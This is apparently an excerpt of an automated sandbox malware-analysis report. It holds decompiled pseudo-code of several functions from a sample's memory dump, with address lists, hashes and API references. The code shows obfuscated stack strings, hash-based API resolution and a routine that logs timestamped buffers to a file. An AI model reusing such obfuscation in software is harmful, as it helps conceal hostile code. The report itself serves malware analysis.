						 *(_t811 + _t802 - 0x3b) = ((0x16 - ( *(_t811 + _t802 - 0x3b) & 0x000000ff)) * 0x23 % 0x7f + 0x7f) % 0x7f;
						_t802 = _t802 + 1;
					} while (_t802 < 0xa);
				}
				_v328 =  &_v63;
				_v76 = 0;
				_v75 = 0x14;
				_v74 = 3;
				_v73 = 0x13;
				_v72 = 3;
				_v71 = 0x6d;
				_v70 = 3;
				_v69 = 0x13;
				_v68 = 3;
				_v67 = 3;
				_v66 = 3;
				if(_v76 == 0) {
					_t740 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t811 + _t740 - 0x47) = ((( *(_t811 + _t740 - 0x47) & 0x000000ff) - 3) * 0x37 % 0x7f + 0x7f) % 0x7f;
						_t740 = _t740 + 1;
					} while (_t740 < 0xa);
				}
				_v324 =  &_v75;
				_v168 = 0;
				_v167 = 0x2b;
				_v166 = 0x60;
				_v165 = 0x72;
				_v164 = 0x60;
				_v163 = 0x4c;
				_v162 = 0x60;
				_v161 = 0x3b;
				_v160 = 0x60;
				_v159 = 0x24;
				_v158 = 0x60;
				_v157 = 0x60;
				_v156 = 0x60;
				if(_v168 == 0) {
					_t801 = 0;
					do {
						_t426 = _t801 - 0xa3; // 0x2b
						asm("cdq");
						asm("cdq");
						 *((char*)(_t811 + _t801 - 0xa3)) = ((0x60 - ( *(_t811 + _t426) & 0x000000ff)) * 0x2c % 0x7f + 0x7f) % 0x7f;
						_t801 = _t801 + 1;
					} while (_t801 < 0xc);
				}
				_t438 =  &_v167; // 0x2b
				_v320 = _t438;
				_v280 = 0;
				_v279 = 0x38;
				_v278 = 0x5b;
				_v277 = 0x49;
				_v276 = 0x5b;
				_v275 = 0x37;
				_v274 = 0x5b;
				_v273 = 0x41;
				_v272 = 0x5b;
				_v271 = 0x43;
				_v270 = 0x5b;
				_v269 = 0x5b;
				_v268 = 0x5b;
				_v316 = E00F2F160( &_v280);
				_v184 = 0;
				_v183 = 0x6c;
				_v182 = 0x1e;
				_v181 = 0x51;
				_v180 = 0x1e;
				_v179 = 0x76;
				_v178 = 0x1e;
				_v177 = 0x38;
				_v176 = 0x1e;
				_v175 = 0x70;
				_v174 = 0x1e;
				_v173 = 0x1e;
				_v172 = 0x1e;
				if(_v184 == 0) {
					_t800 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t811 + _t800 - 0xb3) = ((0x1e - ( *(_t811 + _t800 - 0xb3) & 0x000000ff)) * 0x2d % 0x7f + 0x7f) % 0x7f;
						_t800 = _t800 + 1;
					} while (_t800 < 0xc);
				}
				_v312 =  &_v183;
				_v296 = 0;
				_v295 = 1;
				_v294 = 0x51;
				_v293 = 0x59;
				_v292 = 0x51;
				_v291 = 0x3a;
				_v290 = 0x51;
				_v289 = 0xc;
				_v288 = 0x51;
				_v287 = 0x31;
				_v286 = 0x51;
				_v285 = 0x51;
				_v284 = 0x51;
				_v308 = E00F2F100( &_v296);
				_v200 = 0;
				_v199 = 3;
				_v198 = 0x22;
				_v197 = 0x57;
				_v196 = 0x22;
				_v195 = 0xd;
				_v194 = 0x22;
				_v193 = 0x56;
				_v192 = 0x22;
				_v191 = 0x2f;
				_v190 = 0x22;
				_v189 = 0x22;
				_v188 = 0x22;
				if(_v200 == 0) {
					_t735 = 0;
					do {
						asm("cdq");
						asm("cdq");
						 *(_t811 + _t735 - 0xc3) = ((( *(_t811 + _t735 - 0xc3) & 0x000000ff) - 0x22) * 0x13 % 0x7f + 0x7f) % 0x7f;
						_t735 = _t735 + 1;
					} while (_t735 < 0xc);
				}
				_v304 =  &_v199;
				_v88 = 0;
				_v87 = 0x26;
				_v86 = 0x39;
				_v85 = 0x2c;
				_v84 = 0x39;
				_v83 = 0x49;
				_v82 = 0x39;
				_v81 = 0x24;
				_v80 = 0x39;
				_v79 = 0x39;
				_v78 = 0x39;
				if(_v88 == 0) {
					_t799 = 0;
					do {
						_t546 = _t799 - 0x53; // 0x26
						asm("cdq");
						asm("cdq");
						 *((char*)(_t811 + _t799 - 0x53)) = (((( *(_t811 + _t546) & 0x000000ff) - 0x39 << 5) - ( *(_t811 + _t546) & 0x000000ff) - 0x39) % 0x7f + 0x7f) % 0x7f;
						_t799 = _t799 + 1;
					} while (_t799 < 0xa);
				}
				_t558 =  &_v87; // 0x26
				_t798 = 0;
				_v300 = _t558;
				while(1) {
					_t606 =  *0xf4c2ec; // 0xddcc10
					_t607 =  *((intOrPtr*)(_t606 + 0x128));
					if(_t607 == 0) {
						_t607 = E00F222A0(0x7f, 0, _t607 + 7, _t797, _t798, 0x5a8ce5b8);
						_t732 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t732 + 0x128)) = _t607;
					}
					_t608 =  *_t607(_t797,  *((intOrPtr*)(_t811 + _t798 * 4 - 0x174)));
					if(_t608 != 0) {
						break;
					}
					_t798 = _t798 + 1;
					if(_t798 < 0x14) {
						continue;
					} else {
						return _t608;
					}
					L58:
				}
				return 1;
				goto L58;
			}














































































































































































































































































































    0x00f2b539
    0x00f2b53d
    0x00f2b541
    0x00f2b545
    0x00f2b549
    0x00f2b54d
    0x00f2b551
    0x00f2b555
    0x00f2b559
    0x00f2b55e
    0x00f2b567
    0x00f2b574
    0x00f2b576
    0x00f2b578
    0x00f2b57a
    0x00f2b580
    0x00f2b580
    0x00f2b593
    0x00f2b599
    0x00f2b59c
    0x00f2b5a0
    0x00f2b5a1
    0x00f2b580
    0x00f2b5a6
    0x00f2b5a9
    0x00f2b5af
    0x00f2b5b3
    0x00f2b5b7
    0x00f2b5bb
    0x00f2b5bf
    0x00f2b5c3
    0x00f2b5c7
    0x00f2b5cb
    0x00f2b5cf
    0x00f2b5d3
    0x00f2b5d7
    0x00f2b5e2
    0x00f2b5e4
    0x00f2b5e6
    0x00f2b5f0
    0x00f2b604
    0x00f2b60a
    0x00f2b60d
    0x00f2b611
    0x00f2b612
    0x00f2b5f0
    0x00f2b61a
    0x00f2b620
    0x00f2b624
    0x00f2b628
    0x00f2b62c
    0x00f2b630
    0x00f2b634
    0x00f2b638
    0x00f2b63c
    0x00f2b640
    0x00f2b644
    0x00f2b648
    0x00f2b64c
    0x00f2b650
    0x00f2b65b
    0x00f2b65d
    0x00f2b660
    0x00f2b673
    0x00f2b679
    0x00f2b67c
    0x00f2b680
    0x00f2b681
    0x00f2b660
    0x00f2b689
    0x00f2b68f
    0x00f2b693
    0x00f2b697
    0x00f2b69b
    0x00f2b69f
    0x00f2b6a3
    0x00f2b6a7
    0x00f2b6ab
    0x00f2b6af
    0x00f2b6b3
    0x00f2b6b7
    0x00f2b6c2
    0x00f2b6c4
    0x00f2b6c6
    0x00f2b6c6
    0x00f2b6d3
    0x00f2b6d9
    0x00f2b6dc
    0x00f2b6e0
    0x00f2b6e1
    0x00f2b6c6
    0x00f2b6e6
    0x00f2b6e9
    0x00f2b6ef
    0x00f2b6f3
    0x00f2b6f7
    0x00f2b6fb
    0x00f2b6ff
    0x00f2b703
    0x00f2b707
    0x00f2b70b
    0x00f2b70f
    0x00f2b713
    0x00f2b717
    0x00f2b71b
    0x00f2b71f
    0x00f2b72a
    0x00f2b72c
    0x00f2b730
    0x00f2b730
    0x00f2b740
    0x00f2b746
    0x00f2b749
    0x00f2b74d
    0x00f2b74e
    0x00f2b730
    0x00f2b753
    0x00f2b756
    0x00f2b75c
    0x00f2b763
    0x00f2b76a
    0x00f2b771
    0x00f2b778
    0x00f2b77c
    0x00f2b780
    0x00f2b784
    0x00f2b788
    0x00f2b78c
    0x00f2b790
    0x00f2b794
    0x00f2b798
    0x00f2b7a9
    0x00f2b7ab
    0x00f2b7b0
    0x00f2b7c0
    0x00f2b7c6
    0x00f2b7c9
    0x00f2b7d0
    0x00f2b7d1
    0x00f2b7b0
    0x00f2b7dc
    0x00f2b7e2
    0x00f2b7e9
    0x00f2b7f0
    0x00f2b7f7
    0x00f2b7fe
    0x00f2b805
    0x00f2b80c
    0x00f2b813
    0x00f2b81a
    0x00f2b821
    0x00f2b828
    0x00f2b82f
    0x00f2b836
    0x00f2b84a
    0x00f2b84c
    0x00f2b850
    0x00f2b850
    0x00f2b864
    0x00f2b86a
    0x00f2b86d
    0x00f2b874
    0x00f2b875
    0x00f2b850
    0x00f2b87a
    0x00f2b880
    0x00f2b886
    0x00f2b88d
    0x00f2b894
    0x00f2b89b
    0x00f2b8a2
    0x00f2b8a9
    0x00f2b8b0
    0x00f2b8b7
    0x00f2b8be
    0x00f2b8c5
    0x00f2b8cc
    0x00f2b8d3
    0x00f2b8da
    0x00f2b8e1
    0x00f2b8e8
    0x00f2b8fc
    0x00f2b8fe
    0x00f2b900
    0x00f2b914
    0x00f2b91a
    0x00f2b91d
    0x00f2b924
    0x00f2b925
    0x00f2b900
    0x00f2b930
    0x00f2b93c
    0x00f2b943
    0x00f2b94a
    0x00f2b951
    0x00f2b958
    0x00f2b95f
    0x00f2b966
    0x00f2b96d
    0x00f2b974
    0x00f2b97b
    0x00f2b982
    0x00f2b994
    0x00f2b99a
    0x00f2b99e
    0x00f2b9a2
    0x00f2b9a6
    0x00f2b9aa
    0x00f2b9ae
    0x00f2b9b2
    0x00f2b9b6
    0x00f2b9ba
    0x00f2b9be
    0x00f2b9c2
    0x00f2b9cd
    0x00f2b9cf
    0x00f2b9d1
    0x00f2b9e2
    0x00f2b9e8
    0x00f2b9eb
    0x00f2b9ef
    0x00f2b9f0
    0x00f2b9d1
    0x00f2b9f8
    0x00f2b9fe
    0x00f2ba05
    0x00f2ba0c
    0x00f2ba13
    0x00f2ba1a
    0x00f2ba21
    0x00f2ba28
    0x00f2ba2f
    0x00f2ba36
    0x00f2ba3d
    0x00f2ba44
    0x00f2ba4b
    0x00f2ba52
    0x00f2ba59
    0x00f2ba60
    0x00f2ba74
    0x00f2ba76
    0x00f2ba80
    0x00f2ba96
    0x00f2ba9c
    0x00f2ba9f
    0x00f2baa6
    0x00f2baa7
    0x00f2ba80
    0x00f2bab2
    0x00f2bab8
    0x00f2babf
    0x00f2bac6
    0x00f2bacd
    0x00f2bad4
    0x00f2badb
    0x00f2bae2
    0x00f2bae9
    0x00f2baf0
    0x00f2baf7
    0x00f2bafe
    0x00f2bb05
    0x00f2bb0c
    0x00f2bb13
    0x00f2bb1a
    0x00f2bb21
    0x00f2bb28
    0x00f2bb3c
    0x00f2bb3e
    0x00f2bb40
    0x00f2bb56
    0x00f2bb5c
    0x00f2bb5f
    0x00f2bb66
    0x00f2bb67
    0x00f2bb40
    0x00f2bb72
    0x00f2bb78
    0x00f2bb7c
    0x00f2bb80
    0x00f2bb84
    0x00f2bb88
    0x00f2bb8c
    0x00f2bb90
    0x00f2bb94
    0x00f2bb98
    0x00f2bb9c
    0x00f2bba0
    0x00f2bbab
    0x00f2bbad
    0x00f2bbb0
    0x00f2bbc1
    0x00f2bbc7
    0x00f2bbca
    0x00f2bbce
    0x00f2bbcf
    0x00f2bbb0
    0x00f2bbd7
    0x00f2bbdd
    0x00f2bbe1
    0x00f2bbe5
    0x00f2bbe9
    0x00f2bbed
    0x00f2bbf1
    0x00f2bbf5
    0x00f2bbf9
    0x00f2bbfd
    0x00f2bc01
    0x00f2bc05
    0x00f2bc10
    0x00f2bc12
    0x00f2bc14
    0x00f2bc21
    0x00f2bc27
    0x00f2bc2a
    0x00f2bc2e
    0x00f2bc2f
    0x00f2bc14
    0x00f2bc37
    0x00f2bc3d
    0x00f2bc44
    0x00f2bc4b
    0x00f2bc52
    0x00f2bc59
    0x00f2bc60
    0x00f2bc67
    0x00f2bc6e
    0x00f2bc75
    0x00f2bc7c
    0x00f2bc83
    0x00f2bc8a
    0x00f2bc91
    0x00f2bca5
    0x00f2bca7
    0x00f2bcb0
    0x00f2bcb0
    0x00f2bcc4
    0x00f2bcca
    0x00f2bccd
    0x00f2bcd4
    0x00f2bcd5
    0x00f2bcb0
    0x00f2bcda
    0x00f2bce0
    0x00f2bcec
    0x00f2bcf3
    0x00f2bcfa
    0x00f2bd01
    0x00f2bd08
    0x00f2bd0f
    0x00f2bd16
    0x00f2bd1d
    0x00f2bd24
    0x00f2bd2b
    0x00f2bd32
    0x00f2bd39
    0x00f2bd40
    0x00f2bd52
    0x00f2bd58
    0x00f2bd5f
    0x00f2bd66
    0x00f2bd6d
    0x00f2bd74
    0x00f2bd7b
    0x00f2bd82
    0x00f2bd89
    0x00f2bd90
    0x00f2bd97
    0x00f2bd9e
    0x00f2bda5
    0x00f2bdac
    0x00f2bdc0
    0x00f2bdc2
    0x00f2bdd0
    0x00f2bde4
    0x00f2bdea
    0x00f2bded
    0x00f2bdf4
    0x00f2bdf5
    0x00f2bdd0
    0x00f2be00
    0x00f2be0c
    0x00f2be13
    0x00f2be1a
    0x00f2be21
    0x00f2be28
    0x00f2be2f
    0x00f2be36
    0x00f2be3d
    0x00f2be44
    0x00f2be4b
    0x00f2be52
    0x00f2be59
    0x00f2be60
    0x00f2be72
    0x00f2be78
    0x00f2be7f
    0x00f2be86
    0x00f2be8d
    0x00f2be94
    0x00f2be9b
    0x00f2bea2
    0x00f2bea9
    0x00f2beb0
    0x00f2beb7
    0x00f2bebe
    0x00f2bec5
    0x00f2becc
    0x00f2bee0
    0x00f2bee2
    0x00f2bef0
    0x00f2bf00
    0x00f2bf06
    0x00f2bf09
    0x00f2bf10
    0x00f2bf11
    0x00f2bef0
    0x00f2bf1c
    0x00f2bf22
    0x00f2bf26
    0x00f2bf2a
    0x00f2bf2e
    0x00f2bf32
    0x00f2bf36
    0x00f2bf3a
    0x00f2bf3e
    0x00f2bf42
    0x00f2bf46
    0x00f2bf4a
    0x00f2bf55
    0x00f2bf57
    0x00f2bf60
    0x00f2bf60
    0x00f2bf71
    0x00f2bf77
    0x00f2bf7a
    0x00f2bf7e
    0x00f2bf7f
    0x00f2bf60
    0x00f2bf84
    0x00f2bf87
    0x00f2bf89
    0x00f2bf90
    0x00f2bf90
    0x00f2bf95
    0x00f2bf9d
    0x00f2bfa9
    0x00f2bfae
    0x00f2bfb4
    0x00f2bfb4
    0x00f2bfc2
    0x00f2bfc6
    0x00000000
    0x00000000
    0x00f2bfc8
    0x00f2bfcc
    0x00000000
    0x00f2bfd4
    0x00f2bfd4
    0x00f2bfd4
    0x00000000
    0x00f2bfcc
    0x00f2bfe0
    0x00000000

    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID:
    • String ID: !$"$"$"$"$"$"$"$%$%$&9,9I9$999$'$($+$+`r`L`;`$```$,$-$.$/$1$1$5$6$7$8$8[I[7[A[C[[[$:$<$A|=|>|a|||$F$G$H$I$I$I0O0n0C0n000$K$K$K$K$K$K$K$K$O$O$O$O$O$O$Q$Q$Q$Q$Q$Q$Q$Q$S$TCCSCcCCC$V$V$W$X=pN$$Y$\$_$f$f$f$f$f$f$f$f$l$l$m$o$o$o$o$o$o$o$o$o$p$p$u$u$u$v$w$y$y${$}
    • API String ID: 0-1322542268
    • Opcode ID: 97358de73e2ffd55926b441c64b7077a4ebf5fdb134b853892ffacd79785090b
    • Instruction ID: 24cbc4b1f07938f82d8b7b7b003eef4037b86ed409e08bf2fb520b97bed0dd6f
    • Opcode Fuzzy Hash: 97358de73e2ffd55926b441c64b7077a4ebf5fdb134b853892ffacd79785090b
    • Instruction Fuzzy Hash: DB72F720D0D2ECCDEB22C679D9587DDBFF15B26304F4850D9C4C86B283D3BA4A899B65
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F2FDD0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 197timeCOMMONCrypto
    Download Yara Rule
    C-Code - Quality: 49%
    			E00F2FDD0(void* __ebx, void* __edi, void* __esi, intOrPtr _a4, char _a8) {
				signed int _v12;
				short _v272;
				char _v2320;
				char _v2324;
				struct _SYSTEMTIME _v2340;
				char _v2342;
				char _v2343;
				char _v2344;
				char _v2345;
				char _v2346;
				char _v2347;
				char _v2348;
				char _v2352;
				char _v2353;
				char _v2354;
				char _v2355;
				char _v2356;
				char _v2357;
				char _v2358;
				char _v2359;
				char _v2360;
				char _v2361;
				char _v2362;
				char _v2363;
				char _v2364;
				char _v2365;
				char _v2366;
				char _v2367;
				char _v2368;
				char _v2369;
				char _v2370;
				char _v2371;
				char _v2372;
				char _v2373;
				char _v2374;
				char _v2375;
				char _v2376;
				char _v2377;
				char _v2378;
				char _v2379;
				char _v2380;
				char _v2381;
				char _v2382;
				char _v2383;
				char _v2384;
				char _v2385;
				char _v2386;
				char _v2387;
				char _v2388;
				intOrPtr _v2392;
				signed int _t83;
				char* _t86;
				intOrPtr _t87;
				intOrPtr* _t88;
				void* _t91;
				intOrPtr* _t93;
				intOrPtr _t103;
				intOrPtr* _t104;
				intOrPtr _t106;
				intOrPtr* _t107;
				intOrPtr _t109;
				intOrPtr* _t110;
				intOrPtr* _t112;
				void* _t115;
				void* _t118;
				intOrPtr _t122;
				intOrPtr _t128;
				intOrPtr _t130;
				intOrPtr _t132;
				intOrPtr _t133;
				intOrPtr _t138;
				intOrPtr _t140;
				intOrPtr _t141;
				int _t149;
				intOrPtr _t151;
				void* _t152;
				intOrPtr _t153;
				intOrPtr _t154;
				intOrPtr _t155;
				signed int _t156;

				_t148 = __edi;
				_t83 =  *0xf4a004; // 0x355216d4
				_v12 = _t83 ^ _t156;
				if( *0xf4a784 == 0xffffffff) {
					L19:
					return E00F37A82(_v12 ^ _t156);
				}
				_t118 = 0x800;
				_t86 =  &_v2320;
				do {
					 *_t86 = 0;
					_t86 = _t86 + 1;
					_t118 = _t118 - 1;
				} while (_t118 != 0);
				_t87 =  *0xf4c2ec; // 0xddcc10
				_t151 = _a4;
				_t88 =  *((intOrPtr*)(_t87 + 0x17c));
				if(_t88 == 0) {
					_t6 = _t118 + 5; // 0x804
					_t88 = E00F222A0(__ebx, _t118, _t6, __edi, _t151, 0xc88071b1);
					_t141 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t141 + 0x17c)) = _t88;
				}
				_t152 =  *_t88( &_v2320, _t151,  &_a8);
				if(_t152 > 0) {
					_v2348 = 0;
					_v2347 = 0x78;
					_v2346 = 0x42;
					_v2345 = 0x58;
					_v2344 = 0x42;
					_v2343 = 0x42;
					_v2342 = 0x42;
					_t91 = E00F30160( &_v2348);
					_t122 =  *0xf4c2ec; // 0xddcc10
					_t115 = _t91;
					_v2392 = _t152 + _t152;
					_t93 =  *((intOrPtr*)(_t122 + 0x84));
					if(_t93 == 0) {
						_t93 = E00F222A0(_t115, 0, 0, _t148, _t152, 0x21cca665);
						_t140 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t140 + 0x84)) = _t93;
					}
					 *_t93(0xf4c310);
					GetLocalTime( &_v2340);
					_v2388 = 0;
					_v2387 = 0x3c;
					_v2386 = 0x21;
					_v2385 = 0x25;
					_v2384 = 0x21;
					_v2383 = 0x7c;
					_v2382 = 0x21;
					_v2381 = 0x3b;
					_v2380 = 0x21;
					_v2379 = 0x55;
					_v2378 = 0x21;
					_v2377 = 0x35;
					_v2376 = 0x21;
					_v2375 = 0x25;
					_v2374 = 0x21;
					_v2373 = 0x7c;
					_v2372 = 0x21;
					_v2371 = 0x3b;
					_v2370 = 0x21;
					_v2369 = 0x55;
					_v2368 = 0x21;
					_v2367 = 0x35;
					_v2366 = 0x21;
					_v2365 = 0x25;
					_v2364 = 0x21;
					_v2363 = 0x7c;
					_v2362 = 0x21;
					_v2361 = 0x3b;
					_v2360 = 0x21;
					_v2359 = 0x55;
					_v2358 = 0x21;
					_v2357 = 0x7a;
					_v2356 = 0x21;
					_v2355 = 9;
					_v2354 = 0x21;
					_v2353 = 0x21;
					_v2352 = 0x21;
					_push(_v2340.wSecond & 0x0000ffff);
					_push(_v2340.wMinute & 0x0000ffff);
					_push(_v2340.wHour & 0x0000ffff);
					_t149 = wsprintfW( &_v272, E00F30120( &_v2388));
					if(_t149 != 0) {
						_t133 =  *0xf4c2ec; // 0xddcc10
						_t155 =  *0xf4a784; // 0xffffffff
						_t112 =  *((intOrPtr*)(_t133 + 0x1c));
						if(_t112 == 0) {
							_t112 = E00F222A0(_t115, 0, 0, _t149, _t155, 0xc45f4a8c);
							_t138 =  *0xf4c2ec; // 0xddcc10
							 *((intOrPtr*)(_t138 + 0x1c)) = _t112;
						}
						 *_t112(_t155,  &_v272, _t149 + _t149,  &_v2324, 0);
					}
					_t103 =  *0xf4c2ec; // 0xddcc10
					_t153 =  *0xf4a784; // 0xffffffff
					_t104 =  *((intOrPtr*)(_t103 + 0x1c));
					if(_t104 == 0) {
						_t104 = E00F222A0(_t115, 0, 0, _t149, _t153, 0xc45f4a8c);
						_t132 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t132 + 0x1c)) = _t104;
					}
					 *_t104(_t153,  &_v2320, _v2392,  &_v2324, 0);
					_t106 =  *0xf4c2ec; // 0xddcc10
					_t154 =  *0xf4a784; // 0xffffffff
					_t107 =  *((intOrPtr*)(_t106 + 0x1c));
					if(_t107 == 0) {
						_t107 = E00F222A0(_t115, 0, 0, _t149, _t154, 0xc45f4a8c);
						_t130 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t130 + 0x1c)) = _t107;
					}
					 *_t107(_t154, _t115, 4,  &_v2324, 0);
					_t109 =  *0xf4c2ec; // 0xddcc10
					_t110 =  *((intOrPtr*)(_t109 + 0x8c));
					if(_t110 == 0) {
						_t110 = E00F222A0(_t115, 0, 0, _t149, _t154, 0xf99eabb9);
						_t128 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t128 + 0x8c)) = _t110;
					}
					 *_t110(0xf4c310);
				}
				goto L19;
			}



















































































    0x00f2fdd0
    0x00f2fdd9
    0x00f2fde0
    0x00f2fded
    0x00f30107
    0x00f30117
    0x00f30117
    0x00f2fdf3
    0x00f2fdf8
    0x00f2fe00
    0x00f2fe00
    0x00f2fe03
    0x00f2fe06
    0x00f2fe06
    0x00f2fe0b
    0x00f2fe10
    0x00f2fe13
    0x00f2fe1b
    0x00f2fe22
    0x00f2fe25
    0x00f2fe2a
    0x00f2fe30
    0x00f2fe30
    0x00f2fe44
    0x00f2fe48
    0x00f2fe4e
    0x00f2fe5b
    0x00f2fe62
    0x00f2fe69
    0x00f2fe70
    0x00f2fe77
    0x00f2fe7e
    0x00f2fe8b
    0x00f2fe90
    0x00f2fe96
    0x00f2fe9b
    0x00f2fea1
    0x00f2fea9
    0x00f2feb4
    0x00f2feb9
    0x00f2febf
    0x00f2febf
    0x00f2feca
    0x00f2fed3
    0x00f2fed9
    0x00f2fee6
    0x00f2feed
    0x00f2fef4
    0x00f2fefb
    0x00f2ff02
    0x00f2ff09
    0x00f2ff10
    0x00f2ff17
    0x00f2ff1e
    0x00f2ff25
    0x00f2ff2c
    0x00f2ff33
    0x00f2ff3a
    0x00f2ff41
    0x00f2ff48
    0x00f2ff4f
    0x00f2ff56
    0x00f2ff5d
    0x00f2ff64
    0x00f2ff6b
    0x00f2ff72
    0x00f2ff79
    0x00f2ff80
    0x00f2ff87
    0x00f2ff8e
    0x00f2ff95
    0x00f2ff9c
    0x00f2ffa3
    0x00f2ffaa
    0x00f2ffb1
    0x00f2ffb8
    0x00f2ffbf
    0x00f2ffc6
    0x00f2ffcd
    0x00f2ffd4
    0x00f2ffdb
    0x00f2ffef
    0x00f2fff7
    0x00f2ffff
    0x00f30013
    0x00f3001a
    0x00f3001c
    0x00f30022
    0x00f30028
    0x00f3002d
    0x00f30038
    0x00f3003d
    0x00f30043
    0x00f30043
    0x00f3005b
    0x00f3005b
    0x00f3005d
    0x00f30062
    0x00f30068
    0x00f3006d
    0x00f30078
    0x00f3007d
    0x00f30083
    0x00f30083
    0x00f3009d
    0x00f3009f
    0x00f300a4
    0x00f300aa
    0x00f300af
    0x00f300ba
    0x00f300bf
    0x00f300c5
    0x00f300c5
    0x00f300d5
    0x00f300d7
    0x00f300dc
    0x00f300e4
    0x00f300ef
    0x00f300f4
    0x00f300fa
    0x00f300fa
    0x00f30105
    0x00f30105
    0x00000000

    APIs
    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: LocalTimewsprintf
    • String ID: <!%!|!;!U!5!%!|!;!U!5!%!|!;!U!z!!!!$xBXBBB
    • API String ID: 1577811021-4130832269
    • Opcode ID: 772cf295b1b9d90e990e2f10f764f24a96e3346ffc773f4f59308c8480cbf016
    • Instruction ID: 12b5a7a5752c9e7603ff4733e8aa8867a6d570dbeb7feccec5b3c64a4b0bbefb
    • Opcode Fuzzy Hash: 772cf295b1b9d90e990e2f10f764f24a96e3346ffc773f4f59308c8480cbf016
    • Instruction Fuzzy Hash: 3491EA30906298DEFB21CB64DC48BDABBB45B26314F0440DDD848AB283DBB95F85DF65
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F398A8 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
    Download Yara Rule
    C-Code - Quality: 76%
    			E00F398A8(intOrPtr __ebx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				struct _EXCEPTION_POINTERS _v812;
				signed int _t40;
				char* _t47;
				char* _t49;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t66;
				intOrPtr _t67;
				int _t68;
				intOrPtr _t69;
				signed int _t70;

				_t69 = __esi;
				_t67 = __edi;
				_t66 = __edx;
				_t61 = __ebx;
				_t40 =  *0xf4a004; // 0x355216d4
				_t41 = _t40 ^ _t70;
				_v8 = _t40 ^ _t70;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E00F384DF(_t41);
					_pop(_t62);
				}
				E00F39000(_t67,  &_v804, 0, 0x50);
				E00F39000(_t67,  &_v724, 0, 0x2cc);
				_v812.ExceptionRecord =  &_v804;
				_t47 =  &_v724;
				_v812.ContextRecord = _t47;
				_v548 = _t47;
				_v552 = _t62;
				_v556 = _t66;
				_v560 = _t61;
				_v564 = _t69;
				_v568 = _t67;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_v540 = _v0;
				_t49 =  &_v0;
				_v528 = _t49;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t49 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t68 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				if(UnhandledExceptionFilter( &_v812) == 0 && _t68 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					E00F384DF(_t57);
				}
				return E00F37A82(_v8 ^ _t70);
			}




































    0x00f398a8
    0x00f398a8
    0x00f398a8
    0x00f398a8
    0x00f398b3
    0x00f398b8
    0x00f398ba
    0x00f398c2
    0x00f398c4
    0x00f398c7
    0x00f398cc
    0x00f398cc
    0x00f398d8
    0x00f398eb
    0x00f398f9
    0x00f398ff
    0x00f39905
    0x00f3990b
    0x00f39911
    0x00f39917
    0x00f3991d
    0x00f39923
    0x00f39929
    0x00f3992f
    0x00f39936
    0x00f3993d
    0x00f39944
    0x00f3994b
    0x00f39952
    0x00f39959
    0x00f3995a
    0x00f39963
    0x00f39969
    0x00f3996c
    0x00f39972
    0x00f3997f
    0x00f39988
    0x00f39991
    0x00f3999a
    0x00f399a8
    0x00f399aa
    0x00f399bf
    0x00f399cb
    0x00f399ce
    0x00f399d3
    0x00f399e2

    APIs
    • IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00F399A0
    • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00F399AA
    • UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00F399B7
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
